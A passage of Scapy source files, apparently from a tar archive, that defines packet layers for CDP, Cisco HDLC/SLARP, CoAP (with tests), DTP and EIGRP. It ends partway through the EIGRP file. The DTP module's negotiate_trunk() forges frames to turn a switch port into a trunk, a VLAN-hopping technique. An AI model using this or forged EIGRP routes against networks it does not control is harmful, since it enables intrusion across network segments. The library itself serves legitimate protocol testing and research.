0x0019: "CDPMsgUnknown19", # 0x001a: "CDPPowerAvailable" } _cdp_tlv_types = { 0x0001: "Device ID", 0x0002: "Addresses", 0x0003: "Port ID", 0x0004: "Capabilities", 0x0005: "Software Version", 0x0006: "Platform", 0x0007: "IP Prefix", 0x0008: "Protocol Hello", 0x0009: "VTP Mangement Domain", # CDPv2 0x000a: "Native VLAN", # CDPv2 0x000b: "Duplex", # 0x000c: "CDP Unknown command (send us a pcap file)", 0x000d: "CDP Unknown command (send us a pcap file)", 0x000e: "VoIP VLAN Reply", 0x000f: "VoIP VLAN Query", 0x0010: "Power", 0x0011: "MTU", 0x0012: "Trust Bitmap", 0x0013: "Untrusted Port CoS", 0x0014: "System Name", 0x0015: "System OID", 0x0016: "Management Address", 0x0017: "Location", 0x0018: "CDP Unknown command (send us a pcap file)", 0x0019: "CDP Unknown command (send us a pcap file)", 0x001a: "Power Available"} def _CDPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric") cls = globals()[clsname] return cls(p, **kargs) class CDPMsgGeneric(Packet): name = "CDP Generic Message" fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H"), StrLenField("val", "", length_from=lambda x:x.len - 4) ] def guess_payload_class(self, p): return conf.padding_layer # _CDPGuessPayloadClass class CDPMsgDeviceID(CDPMsgGeneric): name = "Device ID" type = 0x0001 _cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"} _cdp_addrrecord_proto_ip = "\xcc" _cdp_addrrecord_proto_ipv6 = "\xaa\xaa\x03\x00\x00\x00\x86\xdd" class CDPAddrRecord(Packet): name = "CDP Address" fields_desc = [ ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", None, "proto", "B"), StrLenField("proto", None, length_from=lambda x:x.plen), FieldLenField("addrlen", None, length_of=lambda x:x.addr), StrLenField("addr", None, length_from=lambda x:x.addrlen)] def guess_payload_class(self, p): return conf.padding_layer class CDPAddrRecordIPv4(CDPAddrRecord): name = "CDP Address IPv4" fields_desc = [ ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", 1, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ip, length_from=lambda x:x.plen), ShortField("addrlen", 4), IPField("addr", "0.0.0.0")] class CDPAddrRecordIPv6(CDPAddrRecord): name = "CDP Address IPv6" fields_desc = [ ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype), FieldLenField("plen", 8, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ipv6, length_from=lambda x:x.plen), ShortField("addrlen", 16), IP6Field("addr", "::1")] def _CDPGuessAddrRecord(p, **kargs): cls = conf.raw_layer if len(p) >= 2: plen = struct.unpack("B", p[1])[0] proto = ''.join(struct.unpack("s" * plen, p[2:plen + 2])[0:plen]) if proto == _cdp_addrrecord_proto_ip: clsname = "CDPAddrRecordIPv4" elif proto == _cdp_addrrecord_proto_ipv6: clsname = "CDPAddrRecordIPv6" else: clsname = "CDPAddrRecord" cls = globals()[clsname] return cls(p, **kargs) class CDPMsgAddr(CDPMsgGeneric): name = "Addresses" fields_desc = [ XShortEnumField("type", 0x0002, _cdp_tlv_types), ShortField("len", None), FieldLenField("naddr", None, "addr", "!I"), PacketListField("addr", [], _CDPGuessAddrRecord, count_from=lambda x:x.naddr) ] def post_build(self, pkt, pay): if self.len is None: l = 8 + len(self.addr) * 9 pkt = pkt[:2] + struct.pack("!H", l) + pkt[4:] p = pkt + pay return p class CDPMsgPortID(CDPMsgGeneric): name = "Port ID" fields_desc = [ XShortEnumField("type", 0x0003, _cdp_tlv_types), FieldLenField("len", None, "iface", "!H"), StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4) ] _cdp_capabilities = ["Router", "TransparentBridge", "SourceRouteBridge", "Switch", "Host", "IGMPCapable", "Repeater"] + ["Bit%d" % x for x in xrange(25, 0, -1)] class CDPMsgCapabilities(CDPMsgGeneric): name = "Capabilities" fields_desc = [ XShortEnumField("type", 0x0004, _cdp_tlv_types), ShortField("len", 8), FlagsField("cap", 0, 32, _cdp_capabilities) ] class CDPMsgSoftwareVersion(CDPMsgGeneric): name = "Software Version" type = 0x0005 class CDPMsgPlatform(CDPMsgGeneric): name = "Platform" type = 0x0006 _cdp_duplex = { 0x00: "Half", 0x01: "Full" } # ODR Routing class CDPMsgIPPrefix(CDPMsgGeneric): name = "IP Prefix" type = 0x0007 fields_desc = [ XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 8), IPField("defaultgw", "192.168.0.1") ] # TODO : Do me !!!!!! 0x0008 class CDPMsgProtoHello(CDPMsgGeneric): name = "Protocol Hello" type = 0x0008 class CDPMsgVTPMgmtDomain(CDPMsgGeneric): name = "VTP Management Domain" type = 0x0009 class CDPMsgNativeVLAN(CDPMsgGeneric): name = "Native VLAN" fields_desc = [ XShortEnumField("type", 0x000a, _cdp_tlv_types), ShortField("len", 6), ShortField("vlan", 1) ] class CDPMsgDuplex(CDPMsgGeneric): name = "Duplex" fields_desc = [ XShortEnumField("type", 0x000b, _cdp_tlv_types), ShortField("len", 5), ByteEnumField("duplex", 0x00, _cdp_duplex) ] class CDPMsgVoIPVLANReply(CDPMsgGeneric): name = "VoIP VLAN Reply" fields_desc = [ XShortEnumField("type", 0x000e, _cdp_tlv_types), ShortField("len", 7), ByteField("status?", 1), ShortField("vlan", 1)] # TODO : Do me !!! 0x000F class CDPMsgVoIPVLANQuery(CDPMsgGeneric): name = "VoIP VLAN Query" type = 0x000f # fields_desc = [XShortEnumField("type", 0x000f, _cdp_tlv_types), # FieldLenField("len", None, "val", "!H") ] class _CDPPowerField(ShortField): def i2repr(self, pkt, x): if x is None: x = 0 return "%d mW" % x class CDPMsgPower(CDPMsgGeneric): name = "Power" # Check if field length is fixed (2 bytes) fields_desc = [ XShortEnumField("type", 0x0010, _cdp_tlv_types), ShortField("len", 6), _CDPPowerField("power", 1337)] class CDPMsgMTU(CDPMsgGeneric): name = "MTU" # Check if field length is fixed (2 bytes) fields_desc = [ XShortEnumField("type", 0x0011, _cdp_tlv_types), ShortField("len", 6), ShortField("mtu", 1500)] class CDPMsgMgmtAddr(CDPMsgAddr): name = "Management Address" type = 0x0016 class CDPMsgUnknown19(CDPMsgGeneric): name = "Unknown CDP Message" type = 0x0019 class CDPMsg(CDPMsgGeneric): name = "CDP " fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H"), StrLenField("val", "", length_from=lambda x:x.len - 4) ] class _CDPChecksum: def _check_len(self, pkt): """Check for odd packet length and pad according to Cisco spec. This padding is only used for checksum computation. The original packet should not be altered.""" if len(pkt) % 2: last_chr = pkt[-1] if last_chr <= '\x80': return pkt[:-1] + '\x00' + last_chr else: return pkt[:-1] + '\xff' + chr(ord(last_chr) - 1) else: return pkt def post_build(self, pkt, pay): p = pkt + pay if self.cksum is None: cksum = checksum(self._check_len(p)) p = p[:2] + struct.pack("!H", cksum) + p[4:] return p class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric): name = "Cisco Discovery Protocol version 2" fields_desc = [ ByteField("vers", 2), ByteField("ttl", 180), XShortField("cksum", None), PacketListField("msg", [], _CDPGuessPayloadClass) ] bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC}) scapy-2.3.3/scapy/contrib/chdlc.py000066400000000000000000000034611300136037300170440ustar00rootroot00000000000000# http://trac.secdev.org/scapy/ticket/88 # scapy.contrib.description = Cisco HDLC and SLARP # scapy.contrib.status = loads # This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.layers.inet6 import * class CHDLC(Packet): name = "Cisco HDLC" fields_desc = [ ByteEnumField("address", 0x0f, {0x0f : "unicast", 0x8f :"multicast"}), ByteField("control", 0), XShortField("proto", 0x0800)] class SLARP(Packet): name = "SLARP" fields_desc = [ IntEnumField("type", 2, {0 : "request", 1 : "reply", 2 :"line keepalive"}), ConditionalField(IPField("address", "192.168.0.1"), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(IPField("mask", "255.255.255.0"), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(XShortField("unused", 0), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(IntField("mysequence", 0), lambda pkt : pkt.type == 2), ConditionalField(IntField("yoursequence", 0), lambda pkt : pkt.type == 2), ConditionalField(XShortField("reliability", 0xffff), lambda pkt : pkt.type == 2)] bind_layers( CHDLC, Dot3, proto=0x6558) bind_layers( CHDLC, IP, proto=0x800) bind_layers( CHDLC, IPv6, proto=0x86dd) bind_layers( CHDLC, SLARP, proto=0x8035) bind_layers( CHDLC, STP, proto=0x4242) conf.l2types.register(104, CHDLC) scapy-2.3.3/scapy/contrib/coap.py000066400000000000000000000140251300136037300167070ustar00rootroot00000000000000# This file is part of Scapy. # See http://www.secdev.org/projects/scapy for more information. # # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # # Copyright (C) 2016 Anmol Sarma """ RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy """ from scapy.fields import * from scapy.layers.inet import UDP from scapy.packet import * coap_codes = { 0: "Empty", # Request codes 1: "GET", 2: "POST", 3: "PUT", 4: "DELETE", # Response codes 65: "2.01 Created", 66: "2.02 Deleted", 67: "2.03 Valid", 68: "2.04 Changed", 69: "2.05 Content", 128: "4.00 Bad Request", 129: "4.01 Unauthorized", 130: "4.02 Bad Option", 131: "4.03 Forbidden", 132: "4.04 Not Found", 133: "4.05 Method Not Allowed", 134: "4.06 Not Acceptable", 140: "4.12 Precondition Failed", 141: "4.13 Request Entity Too Large", 143: "4.15 Unsupported Content-Format", 160: "5.00 Internal Server Error", 161: "5.01 Not Implemented", 162: "5.02 Bad Gateway", 163: "5.03 Service Unavailable", 164: "5.04 Gateway Timeout", 165: "Proxying Not Supported"} coap_options = ({ 1: "If-Match", 3: "Uri-Host", 4: "ETag", 5: "If-None-Match", 7: "Uri-Port", 8: "Location-Path", 11: "Uri-Path", 12: "Content-Format", 14: "Max-Age", 15: "Uri-Query", 17: "Accept", 20: "Location-Query", 35: "Proxy-Uri", 39: "Proxy-Scheme", 60: "Size1" }, { "If-Match": 1, "Uri-Host": 3, "ETag": 4, "If-None-Match": 5, "Uri-Port": 7, "Location-Path": 8, "Uri-Path": 11, "Content-Format": 12, "Max-Age": 14, "Uri-Query": 15, "Accept": 17, "Location-Query": 20, "Proxy-Uri": 35, "Proxy-Scheme": 39, "Size1": 60 }) def _get_ext_field_size(val): if val >= 15: warning("Invalid Option Delta or Length") if val == 14: return 2 if val == 13: return 1 return 0 def _get_delta_ext_size(pkt): return _get_ext_field_size(pkt.delta) def _get_len_ext_size(pkt): return _get_ext_field_size(pkt.len) def _get_abs_val(val, ext_val): if val >= 15: warning("Invalid Option Length or Delta %d" % val) if val == 14: return 269 + struct.unpack('H', ext_val)[0] if val == 13: return 13 + struct.unpack('B', ext_val)[0] return val def _get_opt_val_size(pkt): return _get_abs_val(pkt.len, pkt.len_ext) class _CoAPOpt(Packet): fields_desc = [BitField("delta", 0, 4), BitField("len", 0, 4), StrLenField("delta_ext", None, length_from=_get_delta_ext_size), StrLenField("len_ext", None, length_from=_get_len_ext_size), StrLenField("opt_val", None, length_from=_get_opt_val_size)] @staticmethod def _populate_extended(val): if val >= 269: return struct.pack('H', val - 269), 14 if val >= 13: return struct.pack('B', val - 13), 13 return None, val def do_build(self): self.delta_ext, self.delta = self._populate_extended(self.delta) self.len_ext, self.len = self._populate_extended(len(self.opt_val)) return Packet.do_build(self) def guess_payload_class(self, payload): if payload[0] != '\xff': return _CoAPOpt else: return Packet.guess_payload_class(self, payload) class _CoAPOptsField(StrField): islist = 1 def i2h(self, pkt, x): return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x] def getfield(self, pkt, s): return "", self.m2i(pkt, s) def m2i(self, pkt, x): opts = [] o = _CoAPOpt(x) cur_delta = 0 while isinstance(o, _CoAPOpt): cur_delta += _get_abs_val(o.delta, o.delta_ext) opts.append((cur_delta, o.opt_val)) o = o.payload return opts def i2m(self, pkt, x): if not x: return "" opt_lst = [] for o in x: if isinstance(o[0], str): opt_lst.append((coap_options[1][o[0]], o[1])) else: opt_lst.append(o) opt_lst.sort() opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1]) high_opt = opt_lst[0][0] for o in opt_lst[1:]: opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1]) high_opt = o[0] return str(opts) class CoAP(Packet): name = "CoAP" fields_desc = [BitField("ver", 1, 2), BitEnumField("type", 0, 2, {0: "CON", 1: "NON", 2: "ACK", 3: "RST"}), BitFieldLenField("tkl", None, 4, length_of='token'), ByteEnumField("code", 0, coap_codes), ShortField("msg_id", 0), StrLenField("token", "", length_from=lambda pkt: pkt.tkl), _CoAPOptsField("options", []) ] bind_layers(UDP, CoAP, sport=5683) bind_layers(UDP, CoAP, dport=5683) scapy-2.3.3/scapy/contrib/coap.uts000066400000000000000000000025551300136037300170770ustar00rootroot00000000000000% CoAP layer test campaign + Syntax check = Import the CoAP layer from scapy.contrib.coap import * + Test CoAP = CoAP default values str(CoAP()) == '\x40\x00\x00\x00' = Token length calculation p = CoAP(token='foobar') CoAP(str(p)).tkl == 6 = CON GET dissect p = CoAP('\x40\x01\xd9\xe1\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65') p.code == 1 p.ver == 1 p.tkl == 0 p.tkl == 0 p.msg_id = 55777 p.token == '' p.type == 0 p.options == [('Uri-Path', '.well-known'), ('Uri-Path', 'core')] = Extended option delta str(CoAP(options=[("Uri-Query", "query")])) == '\x40\x00\x00\x00\xd5\x02\x71\x75\x65\x72\x79' = Extended option length str(CoAP(options=[("Location-Path", 'x' * 280)])) == '\x40\x00\x00\x00\x8e\x0b\x00' + '\x78' * 280 + Test layer binding = Destination port p = UDP()/CoAP() p[UDP].dport == 5683 = Source port s = '\x16\x33\xa0\xa4\x00\x78\xfe\x8b\x60\x45\xd9\xe1\xc1\x28\xff\x3c\x2f\x3e\x3b\x74\x69\x74\x6c\x65\x3d\x22\x47\x65' \ '\x6e\x65\x72\x61\x6c\x20\x49\x6e\x66\x6f\x22\x3b\x63\x74\x3d\x30\x2c\x3c\x2f\x74\x69\x6d\x65\x3e\x3b\x69\x66\x3d' \ '\x22\x63\x6c\x6f\x63\x6b\x22\x3b\x72\x74\x3d\x22\x54\x69\x63\x6b\x73\x22\x3b\x74\x69\x74\x6c\x65\x3d\x22\x49\x6e' \ '\x74\x65\x72\x6e\x61\x6c\x20\x43\x6c\x6f\x63\x6b\x22\x3b\x63\x74\x3d\x30\x3b\x6f\x62\x73\x2c\x3c\x2f\x61\x73\x79' \ '\x6e\x63\x3e\x3b\x63\x74\x3d\x30' CoAP in UDP(s) scapy-2.3.3/scapy/contrib/dtp.py000066400000000000000000000071011300136037300165510ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = DTP # scapy.contrib.status = loads """ DTP Scapy Extension ~~~~~~~~~~~~~~~~~~~ :version: 2008-12-22 :author: Jochen Bartl :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import SNAP,Dot3,LLC from scapy.sendrecv import sendp class DtpGenericTlv(Packet): name = "DTP Generic TLV" fields_desc = [ XShortField("type", 0x0001), FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4), StrLenField("value", "", length_from=lambda pkt:pkt.length - 4) ] def guess_payload_class(self, p): return conf.padding_layer class RepeatedTlvListField(PacketListField): def __init__(self, name, default, cls): PacketField.__init__(self, name, default, cls) def getfield(self, pkt, s): lst = [] remain = s while len(remain) > 0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return remain,lst def addfield(self, pkt, s, val): return s+reduce(str.__add__, map(str, val),"") _DTP_TLV_CLS = { 0x0001 : "DTPDomain", 0x0002 : "DTPStatus", 0x0003 : "DTPType", 0x0004 : "DTPNeighbor" } class DTPDomain(DtpGenericTlv): name = "DTP Domain" fields_desc = [ ShortField("type", 1), FieldLenField("length", None, "domain", adjust=lambda pkt,x:x + 4), StrLenField("domain", "\x00", length_from=lambda pkt:pkt.length - 4) ] class DTPStatus(DtpGenericTlv): name = "DTP Status" fields_desc = [ ShortField("type", 2), FieldLenField("length", None, "status", adjust=lambda pkt,x:x + 4), StrLenField("status", "\x03", length_from=lambda pkt:pkt.length - 4) ] class DTPType(DtpGenericTlv): name = "DTP Type" fields_desc = [ ShortField("type", 3), FieldLenField("length", None, "dtptype", adjust=lambda pkt,x:x + 4), StrLenField("dtptype", "\xa5", length_from=lambda pkt:pkt.length - 4) ] class DTPNeighbor(DtpGenericTlv): name = "DTP Neighbor" fields_desc = [ ShortField("type", 4), #FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4), ShortField("len", 10), MACField("neighbor", None) ] def _DTPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _DTP_TLV_CLS.get(t, "DtpGenericTlv") cls = globals()[clsname] return cls(p, **kargs) class DTP(Packet): name = "DTP" fields_desc = [ ByteField("ver", 1), RepeatedTlvListField("tlvlist", [], _DTPGuessPayloadClass) ] bind_layers(SNAP, DTP, code=0x2004, OUI=0xc) def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): print "Trying to negotiate a trunk on interface %s" % iface p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)]) sendp(p) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="DTP") scapy-2.3.3/scapy/contrib/eigrp.py000066400000000000000000000373171300136037300171040ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = EIGRP # scapy.contrib.status = loads """ EIGRP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-08-13 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO - Replace TLV code with a more generic solution * http://trac.secdev.org/scapy/ticket/90 - Write function for calculating authentication data :Known bugs: - :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 - IOS / EIGRP Version Representation FIX by Dirk Loss """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP from scapy.layers.inet6 import * class EigrpIPField(StrField, IPField): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt,length=length: length def h2i(self, pkt, x): return IPField.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_aton(x) l = self.length_from(pkt) if l <= 8: return x[:1] elif l <= 16: return x[:2] elif l <= 24: return x[:3] else: return x def m2i(self, pkt, x): l = self.length_from(pkt) if l <= 8: x += "\x00\x00\x00" elif l <= 16: x += "\x00\x00" elif l <= 24: x += "\x00" return inet_ntoa(x) def prefixlen_to_bytelen(self, l): if l <= 8: l = 1 elif l <= 16: l = 2 elif l <= 24: l = 3 else: l = 4 return l def i2len(self, pkt, x): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return l def getfield(self, pkt, s): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return s[l:], self.m2i(pkt, s[:l]) def randval(self): return IPField.randval(self) class EigrpIP6Field(StrField, IP6Field): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt,length=length: length def any2i(self, pkt, x): return IP6Field.any2i(self, pkt, x) def i2repr(self, pkt, x): return IP6Field.i2repr(self, pkt, x) def h2i(self, pkt, x): return IP6Field.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_pton(socket.AF_INET6, x) l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return x[:l] def m2i(self, pkt, x): l = self.length_from(pkt) prefixlen = self.prefixlen_to_bytelen(l) if l > 128: warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail") else: pad = "\x00" * (16 - prefixlen) x += pad return inet_ntop(socket.AF_INET6, x) def prefixlen_to_bytelen(self, l): l = l / 8 if l < 16: l += 1 return l def i2len(self, pkt, x): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return l def getfield(self, pkt, s): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return s[l:], self.m2i(pkt, s[:l]) def randval(self): return IP6Field.randval(self) class EIGRPGeneric(Packet): name = "EIGRP Generic TLV" fields_desc = [ XShortField("type", 0x0000), FieldLenField("len", None, "value", "!H", adjust=lambda pkt,x: x + 4), StrLenField("value", "\x00", length_from=lambda pkt: pkt.len - 4)] def guess_payload_class(self, p): return conf.padding_layer class EIGRPParam(EIGRPGeneric): name = "EIGRP Parameters" fields_desc = [ XShortField("type", 0x0001), ShortField("len", 12), # Bandwidth ByteField("k1", 1), # Load ByteField("k2", 0), # Delay ByteField("k3", 1), # Reliability ByteField("k4", 0), # MTU ByteField("k5", 0), ByteField("reserved", 0), ShortField("holdtime", 15) ] class EIGRPAuthData(EIGRPGeneric): name = "EIGRP Authentication Data" fields_desc = [ XShortField("type", 0x0002), FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt,x: x + 24), ShortEnumField("authtype", 2, {2 : "MD5"}), ShortField("keysize", None), IntField("keyid", 1), StrFixedLenField("nullpad", "\x00" * 12, 12), StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize) ] def post_build(self, p, pay): p += pay if self.keysize is None: keysize = len(self.authdata) p = p[:6] + chr((keysize >> 8) & 0xff) + chr(keysize & 0xff) + p[8:] return p class EIGRPSeq(EIGRPGeneric): name = "EIGRP Sequence" fields_desc = [ XShortField("type", 0x0003), ShortField("len", None), ByteField("addrlen", 4), ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt:pkt.addrlen == 4), ConditionalField(IP6Field("ip6addr", "2001::"), lambda pkt:pkt.addrlen == 16) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p) p = p[:2] + chr((l >> 8) & 0xff) + chr(l & 0xff) + p[4:] return p class ShortVersionField(ShortField): def i2repr(self, pkt, x): try: minor = x & 0xff major = (x >> 8) & 0xff except TypeError: return "unknown" else: # We print a leading 'v' so that these values don't look like floats return "v%s.%s" % (major, minor) def h2i(self, pkt, x): """The field accepts string values like v12.1, v1.1 or integer values. String values have to start with a "v" folled by a floating point number. Valid numbers are between 0 and 255. """ if type(x) is str and x.startswith("v") and len(x) <= 8: major = int(x.split(".")[0][1:]) minor = int(x.split(".")[1]) return (major << 8) | minor elif type(x) is int and 0 <= x <= 65535: return x else: if self.default != None: warning("set value to default. Format of %r is invalid" % x) return self.default else: raise Scapy_Exception("Format of value is invalid") def randval(self): return RandShort() class EIGRPSwVer(EIGRPGeneric): name = "EIGRP Software Version" fields_desc = [ XShortField("type", 0x0004), ShortField("len", 8), ShortVersionField("ios", "v12.0"), ShortVersionField("eigrp", "v1.2") ] class EIGRPNms(EIGRPGeneric): name = "EIGRP Next Multicast Sequence" fields_desc = [ XShortField("type", 0x0005), ShortField("len", 8), IntField("nms", 2) ] # Don't get confused by the term "receive-only". This flag is always set, when you configure # one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only". _EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"] class EIGRPStub(EIGRPGeneric): name = "EIGRP Stub Router" fields_desc = [ XShortField("type", 0x0006), ShortField("len", 6), FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)] # Delay 0xffffffff == Destination Unreachable class EIGRPIntRoute(EIGRPGeneric): name = "EIGRP Internal Route" fields_desc = [ XShortField("type", 0x0102), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 25), IPField("nexthop", "192.168.0.0"), IntField("delay", 128000), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen), ] _EIGRP_EXTERNAL_PROTOCOL_ID = { 0x01 : "IGRP", 0x02 : "EIGRP", 0x03 : "Static Route", 0x04 : "RIP", 0x05 : "Hello", 0x06 : "OSPF", 0x07 : "IS-IS", 0x08 : "EGP", 0x09 : "BGP", 0x0A : "IDRP", 0x0B : "Connected Link" } _EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"] class EIGRPExtRoute(EIGRPGeneric): name = "EIGRP External Route" fields_desc = [ XShortField("type", 0x0103), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 45), IPField("nexthop", "192.168.0.0"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved2", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen) ] class EIGRPv6IntRoute(EIGRPGeneric): name = "EIGRP for IPv6 Internal Route" fields_desc = [ XShortField("type", 0x0402), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 37), IP6Field("nexthop", "::"), IntField("delay", 128000), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 16), EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen) ] class EIGRPv6ExtRoute(EIGRPGeneric): name = "EIGRP for IPv6 External Route" fields_desc = [ XShortField("type", 0x0403), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 57), IP6Field("nexthop", "::"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 0), ByteField("load", 1), XShortField("reserved2", 0), ByteField("prefixlen", 8), EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen) ] _eigrp_tlv_cls = { 0x0001: "EIGRPParam", 0x0002: "EIGRPAuthData", 0x0003: "EIGRPSeq", 0x0004: "EIGRPSwVer", 0x0005: "EIGRPNms", 0x0006: "EIGRPStub", 0x0102: "EIGRPIntRoute", 0x0103: "EIGRPExtRoute", 0x0402: "EIGRPv6IntRoute", 0x0403: "EIGRPv6ExtRoute" } class RepeatedTlvListField(PacketListField): def __init__(self, name, default, cls): PacketField.__init__(self, name, default, cls) def getfield(self, pkt, s): lst = [] remain = s while len(remain) > 0: p = self.m2i(pkt, remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return remain,lst def addfield(self, pkt, s, val): return s + reduce(str.__add__, map(str, val), "") def _EIGRPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric") cls = globals()[clsname] return cls(p, **kargs) _EIGRP_OPCODES = { 1 : "Update", 2 : "Request", 3 : "Query", 4 : "Replay", 5 : "Hello", 6 : "IPX SAP", 10 : "SIA Query", 11 : "SIA Reply" } # The Conditional Receive bit is used for reliable multicast communication. # Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors # are exchanging routing information _EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"] class EIGRP(Packet): name = "EIGRP" fields_desc = [ ByteField("ver", 2), ByteEnumField("opcode", 5, _EIGRP_OPCODES), XShortField("chksum", None), FlagsField("flags", 0, 32, _EIGRP_FLAGS), IntField("seq", 0), IntField("ack", 0), IntField("asn", 100), 